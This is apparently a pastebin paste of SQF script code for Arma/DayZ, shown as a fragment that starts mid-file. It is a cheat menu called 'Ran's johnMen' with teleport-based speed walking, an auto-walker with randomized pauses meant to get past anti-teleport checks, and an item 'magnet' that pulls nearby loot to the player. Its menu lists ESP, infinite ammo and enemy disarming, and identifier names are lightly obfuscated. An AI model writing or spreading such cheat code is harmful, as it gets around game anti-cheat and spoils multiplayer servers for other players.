- _ctrl ctrlSetStructuredText _text;
- _ctrl ctrlCommit 0;
- };
- sleep 0.05;
- };
- _ctrl ctrlShow false;
- _ctrl ctrlEnable false;
- };
- [] spawn toggleESP;
- };
- fastwalk = {
- _doWait = false;
- if(toggle_1) then {hint "SPEED WALK ON!";} else {hint "SPEED WALK OFF!";};
- while{toggle_1} do {
- if(_doWait) then {sleep 0.1;_doWait = false;};
- if(inputAction "MoveForward" > 0|| inputAction "MoveFastForward" > 0|| inputAction "MoveSlowForward" > 0 || inputAction "EvasiveForward" > 0) then {
- _distance = 0.7;
- _dir = getdir vehicle player;
- _pos = getposasl vehicle player;
- if ((_pos select 2) > 5) then
- {
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- }
- else
- {
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),getTerrainHeightASL [(_pos select 0),(_pos select 1)]-.1];
- };
- player setPosASL _pos;
- _doWait = true;
- } else {
- if(inputAction "MoveBack" > 0|| inputAction "EvasiveBack" > 0) then {
- _distance = -0.7;
- _dir = getdir vehicle player;
- _pos = getposasl vehicle player;
- if ((_pos select 2) > 5) then
- {
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- }
- else
- {
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),getTerrainHeightASL [(_pos select 0),(_pos select 1)]-.1];
- };
- player setPosASL _pos;
- _doWait = true;
- };
- };
- sleep 0.001;
- };
- };
- Ranswalker = {
- walkloc = ["nwaf","cherno","swaf","swmb","balota","cherno_resident","cherno_resident_2","dubky","oaks"];
- nwaf = [4611,10477];
- cherno = [7000, 2500];
- cherno_resident = [5932,2572];
- cherno_resident_2 = [6167,3217];
- dubky = [6528,3555];
- oaks = [6528,3555];
- swaf = [4815,2565];
- swmb = [4817,2223];
- balota = [4406,2435];
- getX = {
- closeDialog 0;
- disableSerialization;
- createDialog "RscDisplayChat";
- systemchat "<Autowalker>: CMDS -> nwaf - North West Airfield | cherno - Chenarus";
- systemchat "<Autowalker>: CMDS -> swaf - South West Airfield | swmb - South West Military Barracks";
- systemchat "<Autowalker>: CMDS -> balota - Balota";
- systemchat "<AutoWalker>: Type your X coordinate in chat and press ESCAPE (enter 'exit' to quit)";
- _doloop = true;
- _checkChat =true;
- while{_doloop} do {
- waitUntil{!isNull (findDisplay 24)};
- _oldText = "";
- _ctrl = (findDisplay 24) displayctrl 101;
- while{_checkChat} do {
- hintSilent format["X Coord: %1",parseNumber(_oldText)];
- waitUntil{(isNull (findDisplay 24)) || (count(toArray(ctrlText _ctrl)) != count(toArray(_oldText))) };
- if(isNull (findDisplay 24)) exitWith {
- _text = toLower(_oldText);
- _checkChat = false;
- _doloop = false;
- if(_text != 'exit' && !(_text in walkloc)) then {
- _x = parseNumber(_text);
- [_x] spawn getY;
- _checkChat = false;
- _doloop = false;
- } else {
- if(_text in walkloc) exitWith {
- call compile (_text + " spawn doWalk;");
- systemChat ("Going to: " + _text);
- };
- systemchat "<AutoWalker>: Exiting...";
- };
- };
- _oldText = ctrlText _ctrl;
- };
- waitUntil{isNull (findDisplay 24)};
- };
- };
- getY = {
- disableSerialization;
- systemchat "<AutoWalker>: Type your Y coordinate in chat and press ESCAPE";
- _x = _this select 0;
- _doloop = true;
- _checkChat =true;
- while{_doloop} do {
- waitUntil{!isNull (findDisplay 24)};
- _oldText = "";
- _ctrl = (findDisplay 24) displayctrl 101;
- while{_checkChat} do {
- hintSilent format["Y Coord: %1",parseNumber(_oldText)];
- waitUntil{(isNull (findDisplay 24)) or (count(toArray(ctrlText _ctrl)) != count(toArray(_oldText))) };
- if(isNull (findDisplay 24)) exitWith {
- _text = _oldText;
- if(toLower(_text) != 'exit') then {
- _y = parseNumber(_text);
- [_x,_y] spawn doWalk;
- _checkChat = false;
- _doloop = false;
- } else {
- systemchat "<AutoWalker>: Exiting...";
- _checkChat = false;
- _doloop = false;
- };
- };
- _oldText = ctrlText _ctrl;
- };
- waitUntil{isNull (findDisplay 24)};
- };
- };
- doWalk = {
- _despos = [(_this select 0),(_this select 1)];
- _speed = 6.5;
- _mypos = position player;
- _decx = ((_despos select 0) < (_mypos select 0));
- _decy = ((_despos select 1) < (_mypos select 1));
- _xdis = abs((_mypos select 0) - (_despos select 0));
- _ydis = abs((_mypos select 1) - (_despos select 1));
- _hyp = sqrt(_xdis^2 + _ydis^2);
- _ix = (_xdis/(_hyp/_speed));
- _iy = (_ydis/(_hyp/_speed));
- systemchat ("Starting Walk. Moving at "+(str _speed)+"m/s.");
- if (_decx) then {
- _ix = (-_ix);
- };
- if (_decy) then {
- _iy = (-_iy);
- };
- boolrun = true;
- _i = 0;
- _ticks = 0;
- _tickcheck = (85-floor(random 10));
- while {
- _pos = position player;
- _xd = ((_pos select 0) - (_despos select 0));
- _yd = ((_pos select 1) - (_despos select 1));
- ((!(_xd < 15 && _xd > -15) || !(_yd < 15 && _yd > -15)) && boolrun);
- } do
- {
- _i = _i + 1;
- _ticks = _ticks + 1;
- if (_ticks == 80) then {
- _ticks = 0;
- _sleeptime = floor(random 10);
- systemchat ("Taking a "+(str _sleeptime)+" second break");
- sleep _sleeptime;
- _tickcheck = (85-floor(random 10));
- };
- _pos = position player;
- if (
- ((_despos select 0) < (_pos select 0) && !_decx) ||
- ((_despos select 0) > (_pos select 0) && _decx)
- ) then
- {
- _ix = 0;
- if (_iy != 0) then {
- if (!_decy) then {
- _iy = _speed;
- } else {
- _iy = -_speed;
- };
- };
- };
- if (
- ((_despos select 1) < (_pos select 1) && !_decy) ||
- ((_despos select 1) > (_pos select 1) && _decy)
- ) then
- {
- _iy = 0;
- if (_ix != 0) then {
- if (!_decx) then {
- _ix = _speed;
- } else {
- _ix = -_speed;
- };
- };
- };
- _newpos = [((_pos select 0)+_ix), ((_pos select 1) + _iy),_pos select 2];
- player setpos _newpos;
- sleep 1;
- _newpos = position player;
- _travelspeed = (((_pos distance _newpos)/1000)*60*60);
- _msgpos = [round (_newpos select 0),round (_newpos select 1),round (_newpos select 2)];
- systemchat ("Ran AutoWalker: Position: "+(str _msgpos)+"."+str _i + " runs. " + str round _travelspeed + "km/h.");
- if (
- ((_newpos select 0) < (_pos select 0) && !_decx && _ix != 0) ||
- ((_newpos select 1) < (_pos select 1) && !_decy && _iy != 0) ||
- ((_newpos select 0) > (_pos select 0) && _decx && _ix != 0) ||
- ((_newpos select 1) > (_pos select 1) && _decy && _iy != 0)
- ) then
- {
- _arg = [
- ((_newpos select 0) < (_pos select 0) && !_decx && _ix != 0),
- ((_newpos select 1) < (_pos select 1) && !_decy && _iy != 0),
- ((_newpos select 0) > (_pos select 0) && _decx && _ix != 0),
- ((_newpos select 1) > (_pos select 1) && _decy && _iy != 0)
- ];
- systemchat "Caught by Anti-Teleport!";
- sleep 2;
- disableuserinput false;
- systemchat str _arg;
- _mypos = position player;
- _decx = ((_despos select 0) < (_mypos select 0));
- _decy = ((_despos select 1) < (_mypos select 1));
- _xdis = abs((_mypos select 0) - (_despos select 0));
- _ydis = abs((_mypos select 1) - (_despos select 1));
- _hyp = sqrt(_xdis^2 + _ydis^2);
- _ix = (_xdis/(_hyp/_speed));
- _iy = (_ydis/(_hyp/_speed));
- if (_decx) then {
- _ix = (-_ix);
- };
- if (_decy) then {
- _iy = (-_iy);
- };
- };
- };
- systemchat "Script Finished";
- };
- call getX;
- };
- __magnt = {
- hint "START!";
- _items = _this;
- _list = (position player) nearObjects 1200;
- _builder = "<t size='1'>Items Disconvered</t><br/><t size='0.5'>";
- _attached = [];
- {
- _type = typeOf(_x);
- _name = getText(configFile >> "cfgVehicles" >> _type >> "displayName");
- if(_name == "") then {
- _name = getText(configFile >> "cfgWeapons" >> _type >> "displayName");
- };
- if(_name == "") then {
- _name = getText(configFile >> "cfgMagazines" >> _type >> "displayName");
- };
- if(_type in _items) then {
- _builder = _builder + _name + "<br/>";
- _x attachTo [player,[0,0,0]];
- _attached = _attached + [_x];
- };
- } forEach _list;
- _builder = _builder + "You have 60 seconds to loot!";
- hint parseText _builder;
- sleep 60;
- {
- detach _x;
- } forEach _attached;
- Hint "Looting Complete!";
- };
- w__magnt = {
- weppp3 spawn __magnt;
- };
- a__magnt = {
- amm0 spawn __magnt;
- };
- at__magnt = {
- Att4chm3nt spawn __magnt;
- };
- f__magnt = {
- F0od_Dr1nk spawn __magnt;
- };
- m__magnt = {
- M3d1c4l spawn __magnt;
- };
- t__magnt = {
- T0ol_it3ms spawn __magnt;
- };
- b__magnt = {
- B4ckp4cks spawn __magnt;
- };
- i__magnt = {
- It3m5 spawn __magnt;
- };
- c__magnt = {
- Cl0th1ng spawn __magnt;
- };
- al__magnt = {
- A11 spawn __magnt;
- };
- toggle_1 = false;
- toggle_2 = false;
- toggle_3 = false;
- toggle_4 = false;
- toggle_5 = false;
- toggle_6 = false;
- toggle_7 = false;
- toggle_8 = false;
- toggle_9 = false;
- toggle_10 = false;
- magjohnMen = [];
- genSubjohnMen = {hint "holder";};
- johnMenScripts = [
- ["__magnt johnMen",{tempArray = magjohnMen;magjohnMen spawn genSubjohnMen;},false,"",true],
- ["Suicide",killme,false,"",false],
- ["Fixed Executer",executer,false,"",false],
- ["Drop Near",dropnear,false,"",false],
- ["AutoWalker",Ranswalker,true,"",false],
- ["Fast Walk",fastwalk,true,"toggle_1",false],
- ["ESP",esp2ez,true,"toggle_2",false],
- ["Inf Ammo",infammo,true,"toggle_7",false],
- ["No Collide",nocollide,true,"toggle_4",false],
- ["No Grass",removegrass,true,"toggle_5",false],
- ["Disarm Enemies",disarmnear,true,"toggle_6",false],
- ["Time Day",timeday,true,"toggle_3",false]
- ];
- magjohnMen = [
- ["Weapon __magnt",w__magnt,false,""],
- ["Ammo __magnt",a__magnt,false,""],
- ["Attachment __magnt",at__magnt,false,""],
- ["Food & Drink __magnt",f__magnt,false,""],
- ["Medical __magnt",m__magnt,false,""],
- ["Weapon __magnt",t__magnt,false,""],
- ["Backpack __magnt",b__magnt,false,""],
- ["Item __magnt",i__magnt,false,""],
- ["Clothing __magnt",c__magnt,false,""],
- ["All Item __magnt",al__magnt,false,""]];
- shiftjohnMen = {
- if ((typeName _this) == "ARRAY") then {
- _control = _this select 0;
- _pos = ctrlPosition _control;
- _control ctrlSetPosition [(_pos select 0)+0.5, (_pos select 1),(_pos select 2)+(_this select 1), (_pos select 3) + (_this select 2)];
- _control ctrlCommit 0;
- } else {
- _control = _this;
- _pos = ctrlPosition _control;
- _control ctrlSetPosition [(_pos select 0)+0.5, (_pos select 1),(_pos select 2), (_pos select 3)];
- _control ctrlCommit 0;
- };
- };
- fixjohnMen = {
- _display = _this;
- _controlScripts = (_display displayCtrl 1021);
- _pos = ctrlPosition _controlScripts;
- _controlPlayers = (_display displayCtrl 1002);
- _controlPlayers ctrlSetPosition [(_pos select 0)+(_pos select 2)+0.06, (_pos select 1)];
- _controlPlayersBG = (_display displayCtrl 1022);
- _controlPlayersBG ctrlSetPosition [(_pos select 0)+(_pos select 2)+0.06, (_pos select 1)];
- _controlPlayers ctrlCommit 0;
- _controlPlayersBG ctrlCommit 0;
- [(_display displayCtrl 1021),0.05,0] call shiftjohnMen;
- (_display displayCtrl 1022) call shiftjohnMen;
- _mcontrol = (_this displayCtrl 1001);
- _mpos = ctrlPosition _mcontrol;
- _control = (_display displayCtrl 1023);
- _pos = ctrlPosition _control;
- _widthScripts = ctrlPosition (_display displayCtrl 1021) select 2;
- _widthPlayers = ctrlPosition (_display displayCtrl 1022) select 2;
- _control ctrlSetText "Ran's johnMen";
- _control ctrlSetPosition [(_mpos select 0)+0.5, (_pos select 1)-0.1, (_widthScripts + _widthPlayers + 0.01),0.1];
- _control ctrlCommit 0;
- (_display displayCtrl 1013) ctrlShow false;
- (_display displayCtrl 1013) ctrlSetScale 3;
- (_display displayCtrl 1013) ctrlCommit 1;
- };
- genPlayers = {
- _control = (_this displayCtrl 1002);
- _control call shiftjohnMen;
- _control lbAdd "Players:";
- _control lbSetColor [0, [0, 1, 0, 0.5]];
- _control lbAdd "-----------------------------";
- _control lbSetColor [1, [0, 1, 0, 0.5]];
- _list = player nearEntities ["SurvivorBase",850];
- {
- _control lbAdd format["%1",name _x];
- }forEach _list;
- };
- dbClicked = {
- disableserialization;
- _index = _this;
- _item = tempArray select _index;
- _text = _item select 0;
- _cmd = _item select 1;
- _isToggle = _item select 2;
- _toggleVar = _item select 3;
- if(_isToggle) then {
- call compile format["%1 = !%1",_toggleVar];
- _bool= call compile _toggleVar;
- if(_bool) then {
- lbSetColor [1001,_index,[0,1,0,1]];
- } else {
- lbSetColor [1001,_index,[1,0,0,1]];
- };
- };
- systemChat ("Ran johnMen: Started " + _text);
- [] spawn _cmd;
- };
- g_en_Sr_ipts = {
- _control = (_this displayCtrl 1001);
- _control ctrlRemoveAllEventHandlers "LBSelChanged";
- _control ctrlRemoveAllEventHandlers "LBDblClick";
- _control ctrlRemoveAllEventHandlers "MouseButtonDown";
- _control ctrlRemoveAllEventHandlers "KeyDown";
- _control ctrlAddEventHandler ["LBDblClick","(_this select 1) spawn dbClicked;"];
- _control ctrlCommit 0;
- _control = (_this displayCtrl 1001);
- _pos = ctrlPosition _control;
- [_control,0.05,0] call shiftjohnMen;
- disableSerialization;
- _display = _this;
- _left = _display displayctrl 1001;
- _counter = 0;
- lbClear _left;
- {
- _left lbAdd (_x select 0);
- if((_x select 2)) then {
- _bool= call compile (_x select 3);
- if(_bool) then {
- _left lbSetColor [_counter,[0,1,0,1]];
- } else {
- _left lbSetColor [_counter,[1,0,0,1]];
- };
- } else {
- if (_x select 4) then {
- _left lbSetColor [_counter,[0,0,0.75,1]];
- } else {
- _left lbSetColor [_counter,[1,1,1,1]];
- };
- };
- _counter = _counter + 1;
- } forEach johnMenScripts;
- _left ctrlCommit 0;
- };
- genSubjohnMen = {
- disableSerialization;
- _display = findDisplay 129;
- _left = _display displayctrl 1001;
- _subscripts = _this;
- _counter = 0;
- lbClear _left;
- {
- _left lbAdd (_x select 0);
- if((_x select 2)) then {
- _bool= call compile (_x select 3);
- if(_bool) then {
- _left lbSetColor [_counter,[0,1,0,1]];
- } else {
- _left lbSetColor [_counter,[1,0,0,1]];
- };
- } else {
- if (_x select 4) then {
- _left lbSetColor [_counter,[0,0,0.75,1]];
- } else {
- _left lbSetColor [_counter,[1,1,1,1]];
- };
- };
- _counter = _counter + 1;
- } forEach _subscripts;
- _left ctrlCommit 0;
- };
- startjohnMen = {
- _ok = createDialog "RscDisplayDiary";
- disableSerialization;
- waitUntil{!isNull (findDisplay 129)};
- _display = findDisplay 129;
- _display call fixjohnMen;
- _display call g_en_Sr_ipts;
- _display call genPlayers;
- tempArray = johnMenScripts;
- if (_ok) then {
- };
- disableUserInput false;
- };
- [] spawn {
- _count = 0;
- while{true} do {
- if(inputAction "NightVision" > 0) then {
- if(isNull (findDisplay 129)) then {
- [] spawn startjohnMen;
- };
- sleep 0.5;
- };
- sleep 0.001;
- _count = _count + 1;
- };
- };
- systemchat "Ran johnMen Initiated. Press (B) to open.";
- };
- [] spawn rarnjohnMen;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement